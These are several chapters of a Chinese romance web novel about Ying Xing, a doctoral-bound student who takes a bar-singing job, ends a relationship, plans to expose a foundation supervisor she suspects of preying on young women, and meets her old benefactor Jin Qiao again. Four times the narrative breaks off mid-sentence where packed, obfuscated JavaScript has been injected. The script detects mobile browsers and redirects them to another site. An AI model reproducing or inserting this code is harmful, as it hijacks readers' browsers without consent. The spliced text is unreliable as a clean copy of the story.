老板让应星连唱了三首。看得出来她缺少登台演出的经验,肢体拘谨,状态紧张,但拥有难得的音准和好嗓子,气质沉静不张扬。老板坐在卡座间听完了应星的三首歌,做了决定,酒吧目前有这样一个兼职的女歌手也不错。 小茶室里,老板跟应星说:“欢迎成为琉璃的兼职歌手。” 应星眼睛一亮,回头紧紧牵住林墨。 老板问,“很高兴?” “是的!谢谢老板!”这是她今年最高兴的第二件事,第一件是成功申请去居仁读博。 两人坐下来谈工作细节。鉴于应星没有什么表演经验,老板会让人来给她进行简单的培训,主要培训舞台形体和应对客人的经验。这个假期内每周来三天,每次唱一个小时,中间休息二十分钟。 老板开酒吧只是玩票,看到应星兴奋的样子,心情跟着也变好,把她试用期演出费的折扣也去掉了。 在应星在办公室和老板谈话的间隙。靳樵起身下楼走到安静的地方和李耿打电话。 他开始给李耿发了条微信:“还记得应星吗?你不是说她毕业后在弼博工作?” 弼博是国内一家小有名气的互联网公司。 李耿反应了一秒靳樵在问谁。 “是在弼博啊,工作了几年,后来回去读书了吧,现在不知道毕业了没,她不太发动态。你没让我问,我就不太清楚了。” 那几年,应星不知因为什么事偶然存过李耿的电话,后来应星开始用微信,微信里跳出来加通讯录好友的提示,随手加了李耿。有几年,靳樵没有联系应星,偶尔会从李耿那里问应星的近况。 李耿回了几句,把电话直接打过来:“你回国了?” “嗯。” “难得啊,在老美这么些年,还以为你要移民了。” 靳樵:“不会移民的,国外没意思。” “辞职了吗?” “辞了,去澳洲呆了几个月,现在是无业游民。” “那你来给我打工吧,我手底下正缺个和企业对接的人。” 靳樵反问他:“你们单位能用美企出来的人?” 两人笑笑,随意插科打诨几句。李耿现在是国字头化工企业的中层了。读书时两人关系一般,毕业后联系倒是多起来。一开始是因为靳樵找他问应星的事,后来李耿到美国进修一年,去找过靳樵,一来二去的联系就多了,成了经常说话的好友。还是李耿告诉靳樵的,他们这种特殊出身只靠读书超出同龄人的人,自尊心是最紧要也是最脆弱的。别人借着关心帮助的名义走得近问得多,对他们来说反而是一种困扰。也是因为这几句话,靳樵没再联系应星。知道应星进弼博工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477939|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作后,他再也没有问过关于她的事。 李耿说:“她17年毕业后就进弼博,工资不低的,后来不知道为什么就决定辞职跨考了,还跨考文科。哎——说起来,我一直还有个回咱们学校读博的想法,就是难以实施,遥遥无期了,我一个硕士进国企,工资还没有应星高……” “你国企跟互联网行业怎么比?知足吧,你这不是铁饭碗么。” 李耿想到一件事,便随口跟靳樵提起:“哦对了,她现在快结婚了吧。年初还发过和男朋友的照片,他们在一起很久了……” 这是私事。 靳樵:“私事就不要提了吧。” “行吧,像应星这样回去读书,没有家里支持必定也很辛苦,她还在基金会做志愿者,寒暑假我看她都在忙这些事。她这一点做得比我好,我读书的时候心里也想过做志愿者,但眼睛都盯在自己的事情上,分不出时间来给别人。你爷爷泉下有知,应该很欣慰,资助了一个很不错的学生。” 靳樵无意中又知道了一些应星的事情,在基金会做志愿者。 两人聊完,靳樵挂断电话再回到座位,刚才的乐队重新演出了。那天到最后都是乐队,也不知道老板最后有没有录用应星。 ———— 回去的路上,应星的打扮在地铁车厢里很吸睛,两人都注意到了。林墨低声跟她说:“我觉得你以后应该多穿这样的裙子。” “好。” “你答应了?” 应星点头,她确实想做点改变,那么就从打扮开始也不错。哪个女生不喜欢穿漂亮裙子呢,只是应星太忙了,也没有什么钱,心思没办法放在这些上面。 林墨为她高兴,过了一会,递过手机给应星看刚才她拍的帅哥。林墨很兴奋:“这人长了张明星脸,真的。” 应星凑过去看了一眼,照片拍得有点糊,照片上的人确实长得好,面部折叠度很高,五官优越,眉眼还有几分熟悉,不过应星没多少心思仔细看。找到兼职的高兴劲过去,她现在想起来,她和蒋文杰已经有一周没有怎么说话了。 她有很不好的预感。 果然,晚上应星正在刷牙,蒋文杰突然发来一条微信,应星划开手机,就这样僵在了原地。 蒋文杰说:应星,我们就这样分开吧。 只有这样一句,应星拿着手机等了一会儿,他没有再发来别的什么。 走到这一步,蒋文杰没发别的消息,两人之间好像不需要再说什么了。这样好像是唯一的结局。 应星觉得那块一直摇摇欲坠的大石头,终于重重地砸了下来。 她拿着手机发了许久的呆,旁边收拾卫生的保洁阿姨伸手过来关水龙头,“哎姑娘,怎么一直放着啊……” 应星醒过神来,走回寝室,打开电脑试着照常做事,却看不进去任何东西,想给林墨打电话,看看时间不早了。她没有办法,穿了件外套,到操场上一圈圈地走,除此之外她不知道该怎么消磨掉失去一段感情的难过。 12. 戛然 蒋文杰不是应星喜欢的第一个男生,却是应星第一次认真谈恋爱的人,他们在一起度过两年,感情一度真的很稳定…… 回到寝室睡觉已经是半夜,应星强制自己闭上眼睛,明天还要参加一个交流会。越是强迫越是睡不着,和蒋文杰的种种就这样在眼前回放。 应星最后甚至不知道自己有没有睡过去,醒来时镜子里一张脸都泛着黑影。 她不能休息,今天有个青苗学子的交流会在居仁,她早早就得过去帮忙布置会场。 ———— 高三毕业那一年,经过班主任的帮忙,班上有五个学生一起申请到了青苗公益基金的资助,应星是其中一个。她就是靠着爸爸的赔偿金、青苗和学校的资助以及兼职的钱,照顾家里,还把大学读了下来。 这些年,青苗基金会在全国各地资助了许多贫困学子。每年暑假前,各地区的志愿者会定期组织交流活动。汉源高校云集,受助学子也最多,因此每年的交流活动都很热闹。今年的交流会定在居仁大学内举办。 应星买了杯咖啡喝下去,强打起精神,因为她还是今天的主持人。 活动还没开始,有个男人从讲台那边走过来打招呼,顺势坐在应星旁边。 “应星,好久不见了!” 打招呼的人叫戴浩成。 应星扯起礼貌的笑意:“戴总好。” 很热的天,戴浩成穿着西装衬衫,领带打得一丝不苟。他走近,应星心里那根弦静静绷了起来。 戴浩成笑看着应星:“学妹,我看到有人转发你在梧桐公园前面那个酒吧唱歌的视频了。咱们认识这几年,我都不知道你唱歌唱得这么好听!下次咱们要是办别的活动,希望有机会现场听你表演。” “戴总,你过奖了,我只是鼓起勇气去试一试,跟专业歌手还差得远。” 应星不动声色观察他,戴浩成个子高,五官周正,确实有一副好皮囊。毕业多年,他身上早没有了山区学子初到大都市的土气,举手投足处处是职场精英的派头。 这个人会有问题? 应星借口去卫生间,回来时戴浩成已经和别人说上话,她退到个不被人注意的地方,继续观察这个人。 戴浩成是青苗基金会最早资助的学子,在学校时品学兼优,做了多年志愿者,毕业后进入知名企业,这些年来热心公益,每年都给青苗基金拉来许多社会捐款,他个人也曾多次捐助。前几年他获得过地方政府颁发的五四青年奖章,被选为基金会监事。 就是这么一个人,应星现在怀疑他利用这层身份做不轨之事。 应星回忆起来,戴浩成曾给自己发过两次过界的话。应星还清楚记得有一次交流会前,戴浩成发来消息:“学妹,下周的交流会你会去的吧?上次假期去村里走访,你脚都磨破了,真的很令人心疼,我一直在想,希望下周能见到你。” 那时应星才上大二,白天在校外兼职,晚上回来翻开这条消息,只是觉得有些奇怪,没有多想。那次交流会她因为兼职走不开没去成,事情就不了了之。这样的信息有过两次。 不对劲的事是这几年应星一点点发现的。去年她和一位毕业生吃饭时,她提起戴浩成欲言又止;最近这几次,但凡有戴浩成在的活动,有两个学妹都一起请假。 戴浩成总带给她一种不舒服的感觉。应星脑子里一直有个声音提醒自己要理智,不能靠感觉去判断一个人。但是在戴浩成靠近她时,那不舒服的感觉又来了。应星不是小女孩了,成年人什么都懂。戴浩成分明是看到她演出时穿得好看,便又有了说话的兴趣。 青苗基金会对受助学子的关心支持做得很好。每年交流会都邀请已毕业的优秀前辈为在校的学生们答疑解惑,分享成长经验,做职业规划。 这几年,戴浩成都是交流活动上的焦点,是优秀前辈代表。今天应星主持,他是最后一个发言的。 戴浩成以一个诙谐的小玩笑开场,在整个会场引起轻松的笑声。他做得很周到,一个个解答前面学子们提的问题,回答得很详细,接着分享自己求职的经历,并顺带介绍自己现在的公司光年智科,附上给大家的职业规划、学习建议。 他工作过的单位都是行业内大名鼎鼎的企业。应星默默听着,看到几个本科的小学妹脸上洋溢着笑容,向他投去仰慕的目光。 “我们市场部、品牌管理中心下半年需要不少实习生。学弟学妹们,欢迎来光年实习!到光年实习,一定能成为你们以后简历上的亮点。” 他拿起旁边的手机发了几个消息。“刚才我让HR整理了一份实习需求表,我现在发到群里,欢迎大家投简历!” 会场响起掌声。戴浩成发言结束,好几个学弟学妹便围上去向他问问题。 直觉告诉应星,戴浩成和女生之间的互动总透着一丝奇怪,太刻意了,她想着想着不禁打了个冷战。 交流活动结束,应星走到校门口时,忍不住给林墨发了一条消息:“林墨,我想调查戴浩成……” 林墨先叮嘱她:“星星,一定不要对太多人说个事,知道的人越少越好。” 应星的怀疑只跟林墨和蒋文杰说过,她只信得过这两个人。 “你准备怎么调查?” 应星还没有想好。她退出和林墨的界面就看到蒋文杰发的话,应星按熄了手机,她今天疲惫到极致了。 ———— 又一个周三。 靳樵在家里回复邮件,在健身房运动了一个小时。洗完澡,他躺在沙发上有些无聊。 他在国外呆了九年,熟悉的朋友都在那里。国内除了李耿和学长周祖宸,目前没人知道他回国,就是想找个人聊天都找不到。 靳樵换了套休闲装,驾车出去,开到梧桐路。梧桐路停车的地方很少,靳樵花了好久停车,再不紧不慢吃顿简餐,最后沿着梧桐大道走到琉璃酒吧。 他走进去时,看到应星已经等在舞台左边了。吧内客人不多,十来个。 靳樵想,我真是太无聊了。 应星今天的风格也不同第一次看到她的那天了。她今天穿一条吊带牛仔连衣短裙,黑色长靴,比起前两次越来越有酒吧歌手的风格了。她以上世纪八十年代的一首港台歌曲开场,唱的是国语版。靳樵想,算年龄,他今年三十,那应星就是二十九了吧,款式那么稚嫩的一条裙子,穿在她身上竟然不违和。 靳樵打开手机,一边听歌一边打游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477940|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。应星中间休息了二十分钟,总共演出时间接近一个半小时。演出结束后,靳樵看到她提着袋子在门口做了个熟悉的动作,绑起头发,然后走到前面地铁站去了。不过今天那个接她的男人没有来。 靳樵盯着外面方向看了会儿,低头看到周祖宸给他发来一条微信,问什么时候约见面。 周祖宸,当年和靳樵一起做Re-ChargeHub项目获得霍特亚太冠军奖的学长,光年智科创始人、CEO。靳樵决定回国有两个原因,一是他工作的那家公司给华人的职位已经到顶。二是,这几年,周祖宸极力邀请他回国,他有些心动了。 靳樵回:“不先回去休息?” 周祖宸现在人刚从机场出来,还在车上,随手就给靳樵回复:“不用,先来找你。” 靳樵吐了口气,十分不习惯他这争分夺秒的节奏。在国外,非工作时间他是很少需要回邮件的,离开了公司连手机都不多看。周祖宸刚在东南亚进行了一周的调研,在吉隆坡起飞前还在开会,落地第一件是就要约他面谈,简直是名副其实的卷王。 靳樵问了营业时间,给周祖宸发了琉璃酒吧的定位。 ———— 应星在寝室把好几套服装的图片发给林墨,让她帮忙选。林墨惊讶于应星一下子要买这么多新裙子,这变化真是有点大。 “拿人工资,忠人之事。”应星说,“在琉璃唱歌的几个歌手,打扮风格又前卫又多样,我不能土里土气清汤寡水吧,那样给客人观感不好。” “这不是主要原因吧,还是因为你自己发现了这些炫酷的小裙子穿起来有多美!”林墨发了个色里色气的表情,“你发给蒋文杰选了没?他说什么?” 应星想了一会儿,给她打了语音过去:“林墨,我和文杰彻底结束了……” 蒋文杰的父母是国企的退休人员,母亲患病在家休养多年,一直盼望儿子赶快定下来。要蒋文杰忽略年迈的父母,独自一人上班等二十九岁的女朋友读完博,四年异地,前途未卜,大龄夫妇……蒋文杰也想早日组建小家庭,他很适合结婚,但要他这样等她,太难了,连应星都替他觉得难。 应星问林墨:“你愿意让儿子等好几年,娶一个三十几岁的儿媳妇回家吗?” 林墨无言。她能想象应星的无奈和难过。 “但因为外力辍学延迟了社会时钟,不是你的错。” 应星:“我知道,不是谁的错,所以我给他自由,让他自己选。” 这件事不能提,一提起来应星的鼻子就有点酸,想哭,她也在夜里自己哭过几回。这段感情走到这里,已经没有别的余地,都是自由的选择。只是以后很难再遇到有人愿意再像蒋文杰一样,对她那么温柔了吧。 林墨:“其实我也说错了,什么时钟不时钟,这都什么年代了。” 应星怕再掉眼泪,主动岔开话题:“林墨,我突然发现,我很喜欢在酒吧唱歌这件事。因为这件事让我发现,原来我还可以有这一面,原来我还可以这样……” “哪样?穿得很漂亮?” “穿衣风格的变化只是表象,也许我想变成另外一个应星了……我到二十九岁才突然想做这些,是不是太晚了?” 13. 重逢 应星的导师,青苗基金会认识的一些前辈们听到应星快三十还决定留在学校读书,露出的都是惊讶的表情。外人一般也不会直接跟她说什么,应星知道,那表情就是觉得,这件事并不算多好的事,甚至,完全没有性价比。这几年大环境差,各行各业都不好做,大龄读博,等到她毕业都快三十五了,就是去科研机构和高校,也算晚了。应星不是那种可以由着自己心意在学校虚度时光的富二代,她是穷学生,在所有人眼里,她接受圣林教育集体的事业编制,跟蒋文杰结婚,便已经是跨越阶层了。 林墨鼓励她,“不晚!只要你认真做了决定,便不晚!” 林墨听出她心情低落,便又转移话题,把那天在酒吧拍的照片发过来,“他长得好养眼啊!琉璃竟然能遇到这样的极品。要不我下次再和你去,再遇到这么顺眼的帅哥,我就上去要微信,怎么样?要过来,咱俩都加。” 应星:“三人行,别了吧……” 两人笑起来。 应星把那张照片点开,觉得有些像一个很久没见过面的人。随即又否决了这一想法,哪有那么巧的事! 应星把戴浩成发到群里的实习岗位发给林墨看。 “林墨,我的感觉很奇怪。我决定了,只有亲自去看看戴浩成要捣什么鬼。他要真是一个毒瘤,最差也要举报,让他离开青苗基金,不能让他继续做祸害!” 一提到这件事林墨替她紧张,“你准备怎么办?” “我准备去应聘光年的实习,到他的组内去盯着他,看他准备怎么和实习生相处,但凡让给我逮到一点证据……” 应星气虎虎地设想了一些坏的情况,这件事难得挑起了她的火气。 “星星,这个决定我实在不是很赞同。” 林墨苦口婆心劝应星好久,把调查戴浩成的坏处列了好几条给她听。林墨建议应星现在就去向基金会的秘书长举报。 “但是,林墨,基金会有人可能有人会是他的同伙,可能有人知道他品行不端但是选择忽略,因为他能对接媒体和企业。还有可能,有人知道他在坏事,但没有证据不好说什么。现在去举报……还不是合适的时机。” 林墨没改变应星的主意。三年好友,林墨知道,应星是那种表面随和内在坚定的人,有时候甚至会十分固执。最后两人商量着下单了一瓶防狼喷雾,一只录音笔。 应星不是莽撞人,说着电话,一边想到了许多细节,甚至设想了一些很坏的情境。在戴浩成身边工作时,任何时候都把头发绑起,不穿裙子,不穿高跟鞋,这些是为了遇到不好的情况时便于应对。 ———— 戴浩成现在工作的公司叫光年智科。 光年智科是近年业内发展最快速的科技公司之一,主要业务是无人机和新能源车。煜辉大厦三到十四楼都是它总部的办公区。 应星来到面试的楼层,跟她猜的一样,不是戴浩成亲自面试。在这家公司,戴浩成的级别比较高,不会有空亲自来面试实习生,但不知道他后面会有什么操作。应星HR的办公室外面遇到两个青苗基金资助的学妹。那天戴浩成在交流会上说的实习,在校的学生们都很感兴趣。应星的警戒心很快提了上来,肯定有不少人投简历,为什么最后来面试的是两个女孩……男生呢? HR叫了应星的名字,请她进去坐下。 她们刚才已经聊过一回。 HR看着她,“应星……你的简历没问题哈,有两个岗位都合适你。不过我有个小疑惑,你二十六岁才读研,今年刚毕业哈?” 应星早想到一定会被问到这个问题。 她如实回答:“是的,我读书晚有原因。高一时我因家庭状况曾经辍学过两年,本科毕业后在弼博工作过两年,才再次回到学校。所以,算是耽误了几年……” 在应星心里,其实只有被辍学打零工的那两年才叫耽误,此后都是她的选择,但别人也许不这么看。 应星看HR的工作牌,“曾总,九月后我会接着去读博,但我想利用这个假期探索职业方向。光年是我很向往的一家公司,我还在居仁听过周总的讲座,请将我与年轻的学妹们一视同仁,如果能留下,我会的技能也比较多,这几个实习岗位我都能很快上手……” 应星现在读历史,但本科读的是计算机类。 除了年龄,HR没有什么理由不要应星。凭应星在弼博的工作经历,这几个实习岗位在对她来说都是小打小闹。 她笑笑,“只是实习,也没关系。我不是在卡你,就是好奇了解一下。” 应星突然猜大概是不是戴浩成打过招呼。 “曾总,我可不可以有个小请求。”应星尽量笑得真诚,“我想跟着戴浩成戴总做事,戴总是我认识好几年的学长,我很敬佩他,想多跟他学习。” “戴总不一定有时间亲自指导你,我尽量把你安排到品牌中心业务最忙的那个组里,就有很多机会和他一起做事。” “好,谢谢您。” 面试结束,应星顺利留了下来。应星以前学的专业是信息管理,她在弼博实打实工作过两年,那个公司以强度大、竞争激烈著称。她的资历够得上直接来光年上班,何况只是实习岗位。 又是年龄么?应星在心里自嘲。好像她辍过两年学,上过两年班,转了她真心热爱的专业方向,一切事情都来不及了…… 应星约好明天报道的时间,跟两个学妹打了招呼,便准备去坐地铁。她一边收拾包里的资料一边走到电梯口。 另一边,在15层周祖宸的办公室,靳樵和周祖宸聊了两个小时。周祖宸带着他在各个办公区之间看了看,之后两人一起坐电梯下楼。 应星站在电梯口,看到右边的电梯随着语音播报停了下来。随即门打开,里面站着两个男人。 应星看了看,要走进去的瞬间,愣住了。 光年CEO周祖宸,她认得。他旁边的那一位,怎么会是林墨在酒吧拍到的那张脸?怎么那么像曾经一个认识的人? 要不要打招呼? 人家不认识自己吧…… 好几个念头杂在一起闪过,在这愣住的时间,电梯门没感应到人,“滴”地一声自动往里合上了。 应星也不好去拦,干脆等另一边。 电梯快要合上时,突然又“滴”地一声向两边滑开。 是被人按开了。 应星看到还是那两张脸。周祖宸没说话,他旁边那位突然就这样看着她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477941|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“应星,看什么,不上来?” 应星神色平静内心微惊,他叫谁? 然而现在不是上下班时间,电梯门口就应星一个人。 叫我? 她不好叫大佬多等,懵着迅速走进电梯。 周祖宸并不认识应星,以为她是员工,光年智科每年都进许多新人,他奇怪靳樵刚回国,怎么会认识他公司的员工。 电梯下行,周祖宸偏头问靳樵:“你们认识?” 应星愣了好几秒才回过神来,她感觉后脑勺快被两位看穿了,急忙回头挤出一个得体的微笑,“是的周总,我们认识……” 在回头的间隙她飞快瞟了旁边那人一眼。比周祖宸稍高点,肩膀宽了许多,成熟了许多,脸没怎么变。 这是靳樵? 这确定是靳樵吧?可惜她不好回头再看。 电梯下得非常快,语音播报,“一楼到了。” 应星让了一步到后面,让两位先出去。她看到两人并肩走出大堂,往不远处星巴克的方向去了。 那是靳樵吧?那确定是靳樵? 应星飞快掏出手机,点开林墨发给她的照片,仔细看。五秒钟后,她得出一个结论,如果那人不亲口否认,那么,是的,他就是靳樵。 靳樵回国了? 应星出了大厦往地铁口走,想起高中时的事情。她和靳樵没再联系之后,随着年纪渐长,她也慢慢看清了当初的幼稚。靳樵那时候说得没什么错,需要帮助就是需要帮助。靳樵没把那些钱放在心上,反而是她自己把那看得太重了,以至于成了负担和心理障碍。 进地铁排队过安检时,应星停下了脚步。 她早就过了幼稚的年纪,李耿说的那种莫名其妙的自尊心也在读书生涯中超越了。这些年她真的认真想过,如果再遇到靳樵,一定要好好跟他说一声谢谢。如果他不介意的话,她还想简单告诉她自己工作了又回来读书了,但是能养活自己,也能照顾家人。很多年前靳建华教授递给她的那跟绳索,真的改变了她的命运。 应星又想,要不改天呢?今天或许人家有事。或者跟李耿要他的联系方式,先问问看人家方不方便呢。 她从排队的队伍中让出来,站在那里激烈地斗争了好一会儿。 应星还好奇,靳樵记人那么厉害吗?多年不见,不仅还记得她的名字,甚至几秒钟内认出她?或许靳樵只是出于礼貌呢?靳樵一直都是个很有教养很礼貌的人。 应星说不清楚想法是怎么转变的,也就是一念之间。也许是这段时间在酒吧登台的经历让她变得干脆了许多,她做了决定,就是靳樵不方便,她也应该当面跟人家说谢谢。 她乘电梯重新回到地铁口,走到星巴克门口。等了十分钟,终于看到靳樵端着杯咖啡推门走了出来。 周祖宸不在。 应星暗自说了声加油,便迎过去。 “靳樵!” 靳樵停住脚步转过头,没说话。 应星跟他打招呼:“好久不见,靳樵,你还记得我吗?” 她的意思是,那么意外的碰头,那么短的时间,他居然能认出她来,还叫了她的名字。 靳樵看起来很意外,“你,在等我?” 14. 餐厅 应星点头,“嗯。” 靳樵言简意赅:“应星,我记得你。”没说是怎么记得的。 她的长相变化不大,除了气质变了,头发留长了。靳樵不至于那么短的时间一下子就把人认出来,他只是因为意外,在她不知情的情况下,已经在琉璃酒吧见过她两次了。但靳樵显然不方便跟她这么说。 应星老老实实说:“靳樵,你记性真好。我虽然看到你的脸有些熟悉,但如果不是你叫我名字……我大概短时间认不出你的了。” 应星看到靳樵端着咖啡,好像还要忙的样子,忙问:“你还有事要忙吗?我有没有打扰你?” 靳樵没回答忙不忙,反而问道:“应星,你来煜辉大厦是?” 应星:“我来面试的。” 邪门!真有这么巧?靳樵和周祖宸说了两个多小时话,他还没答应来,感觉已经快被周祖宸洗脑了,跟面试也差不多。 应星常怀感恩的心态让她不可能遇到昔日帮助过自己的人装作视而不见,于是从地铁返回,真叫住靳樵了,这会儿应星又突然感觉到一丝尴尬。这么多年没见,除了有正事,他和靳樵没有什么话可以说。 应星觉得那就直接说事。 她站直了,真诚地看向他:“靳樵,你改天有时间吗?我可不可以请你吃顿饭?” 靳樵:“?” 这是他印象中的应星?不是李耿说的话说多了都是对他们自尊心的打扰么? 应星看他疑惑,进一步说明自己的来意,“既然遇到了你,我想好好地跟你说声感谢,还想问问你靳教授的墓地在哪里,要是有机会,我也想去祭拜一下他,还有一件事……” 靳樵站在那里,等着她说,好像也在考虑应星说要请他吃饭的事。 他看着她说话的时间久了一点,应星感到又一丝尴尬。 意外地,靳樵点头,“好啊,什么时候?” 从他这里,他其实也想知道应星的现状,也是对爷爷遗愿的交代。 应星没想到他突然答应。 “后、后天晚上?” 后天是周末。 应星打开手机看演出时间表,“不对,后天晚上我有个兼职,时间刚好卡在六点到八点,不好意思啊,还有其他时间方便吗?” 两人是没有任何联系方式的,靳樵在国内的电话号码早就不用了。“你请我吃饭,那你说个时间吧。” 应星问:“明天晚上可以吗?” “明天中午我来公司报道,还不知道组内会给我安排什么活儿,应该不会加班,暂定明天傍晚五点,如果加班,我提前联系你取消,可以吗?” 靳樵听出来,应星对他说话很尊敬。但不知道是出于感恩的心态,还是她本来就是这么一个说话妥帖的人。靳樵不了解应星,在他印象里,少年时的应星是个沉默寡言的人,别人问一句,她答半句,此外基本上不说什么多余的话,是一个实打实的闷罐子。 “可以。” “好。”应星点开手机,“靳樵,那我方便存一个你现在的电话吗?” 靳樵看应星是好像是真的想请他吃饭。犹豫了一下,还是给她念了一串数字。 其实日常联系多的话一般都加微信。靳樵刚回国,还没习惯国内的社交方式,没多想。而应星想的是,加微信反而有点打扰,电话联系,就只是有正事的时候联系,这样会比较适合她和靳樵。 “存好了,那……明天我提前联系你。” 靳樵拿着咖啡,好像接下来有什么事的样子。应星急忙跟他告别:“靳樵,谢谢你,那你先去忙吧,我也先走啦。” 靳樵点头,应星挥挥手。应星走进地铁口,回头看到靳樵返回煜辉大厦,不知道是不是到地库去开车。 靳樵开着车汇入车流,才回过味来,自己就这样答应应星明晚她请他吃饭,甚至算起来,他们连熟人都算不上,又有许多年没见过。如果应星只是为了说谢谢,那这顿饭其实很没有必要。 但靳樵也没有说出来拒绝,一是因为应星邀请他的样子,十分诚恳,那眼神里都写着。二是,他也想对应星说谢谢,其实,在他心里,他一直觉得无论什么时候,该说感谢的是他。冲进火场救助一个陌生人的善良和勇敢,绝不是谁都有。走上社会的时间越久,靳樵越是体会得深。 两人九年没见,这偶然碰上了,竟然开口就是请他吃饭? 靳樵真是有点没想清楚刚才怎么发生的。 ———— 应星到熠辉八楼报道,跟她一起留在品牌管理中心实习的是三个女生,其中有一个就是青苗学子群的学妹赵小童。 在会议室等待时,应星无意中看了赵小童的简历,并没有特殊之处。学妹来自工商大学,今年大三,长相娇俏可爱。应星心里又开始警铃大作,但她仍然怀着希望,希望这跟那件事没什么关系。 应星随口问HR:“曾总,昨天面试,有男生留下来实习吗?男生们都分配到哪些组呢?” “有男生,根据专业分的。” 报道结束,分配好岗位职责,应星看时间还早,先和赵小童聊了会儿天。赵小童走后她又在实习群里把青苗的另外两个学生都加了微信,和每个人都单独聊了聊,约大家改天一起吃饭。她想尽快和这几个人熟悉起来。 忙完了,她掏出点评网站,认真选好几家餐厅,才给靳樵打电话。 电话响了好长一段才被接起。 应星提前清了清嗓子,“靳樵,下午好,我是应星,公司的事忙完了。我想问问你,方便在哪里见面,你想吃什么呢?我来提前订一下位置。” 靳樵从回去后就在想应星要请他吃饭这件事,根本想不清有什么吃饭的必要。其实他要知道应星的现状,也可以有别的方法。应星突发奇想,他居然也没有拒绝。 靳樵在电话里想了想,“应星,四点半在熠辉门口的公交站见,吃什么你决定吧,我没有忌口。” 挂了电话,应星又在点评软件里选了好久,选了一家评价不错的本地菜,打电话订了位置。 她在公交站台那里坐着等,从钱包里掏出一张卡片,在心里开始打腹稿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477942|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实,她感激靳樵也不一定非要请靳樵吃饭。她只是有一件棘手的事要跟他说,最好吃顿饭,大家好说话。 这张蓝色的银行卡,是九年前靳樵在县中校门口塞到她书包里的那张。 “滴滴——” 过了不知多久,应星的思绪被喇叭声打断。 一辆白色的车停在站台前,应星抬起头来,那车窗缓缓降下,应星看到靳樵坐在驾驶座上,戴个墨镜。墨镜遮住了上半张脸。 “应星,上车。” 应星穷学生做久了,昨天到现在都下意识认为靳樵也是坐地铁来…… 她打开车门坐到副驾上,主动打开去餐厅的导航并调大了音量。 车内漂浮着很浅的香水味。应星不懂车,但看内饰一眼便知道这车价值不菲。若是以前的应星,上了这样的车估计会坐卧不宁,生怕哪里做得不对,在豪车上闹笑话。但现在的应星不会这样了,年龄和阅历改变了她。 车内很安静,应星主动开启了话题,“靳樵,你什么时候回的国?应该有几年了吧?” 靳樵如果不用家里的积蓄,那么至少得工作几年,才买得起这样的车。 “我上个月刚回国。”靳樵像是猜到她在想什么一样,“这不是我的车,是学长的,借给我开一段时间。” “哦……” 应星不知道他说的学长是哪位,总之肯定不是她认识的人。 “应星,你一直在汉源工作?” 靳樵是故意这样问的。2017年应星毕业,通过校招进入弼博,自那以后他再没问过李耿关于应星的事,这几天知道的她的事完全是意外撞到的,说出来会显得奇怪。 “不是,靳樵,我毕业后进弼博工作了两年。你在国外这么多年,也听过弼博的吧,一家做旅游平台的公司。那家公司在深城,后来我就返回学校读书了,说来话长。” 应星想跟靳樵简单说说她的现状。 作为受助人,她有这个告知他的义务。应星认识许多接受帮助的学子,也在青苗做志愿者。毕业之后,大家都会把自己的单位、去处以及未来的打算告诉当初帮助自己的前辈,这是感恩的“汇报”,是一个应有的传统。 话讲到这里,应星便接着说下去:“2019年我从弼博离职。此后开始考研,第二年9月来到汉源师范大学读研,今年研三了……我申请了居仁人文学院的博士,9月要到居仁读博。” 原来应星在汉源师范大学读的硕士,这个李耿倒是没有说。 应星接着说:“我特意约你来,是想把我的现状简单告诉你,想再次对你和靳教授说一声感谢,没有靳教授的帮助,就没有今天的我。谢谢你,靳樵。” 靳樵早就料到她会说这些话。 “应星,爷爷对你的帮助,源自你先帮助了他,这些都是你应得的,以后见到我,不要再说什么感谢的话了,你九年前就这么说过了。是我应该感谢你救了爷爷。” “……” 餐厅到了,靳樵把车停好,先打开了车门,应星暂时停住了话头。 15. 光年 餐厅很安静,客人不少。 应星很少来这些餐厅吃饭,她生活简朴,平时一律都是食堂,但在这里请靳樵吃顿饭她还是完全可以的。 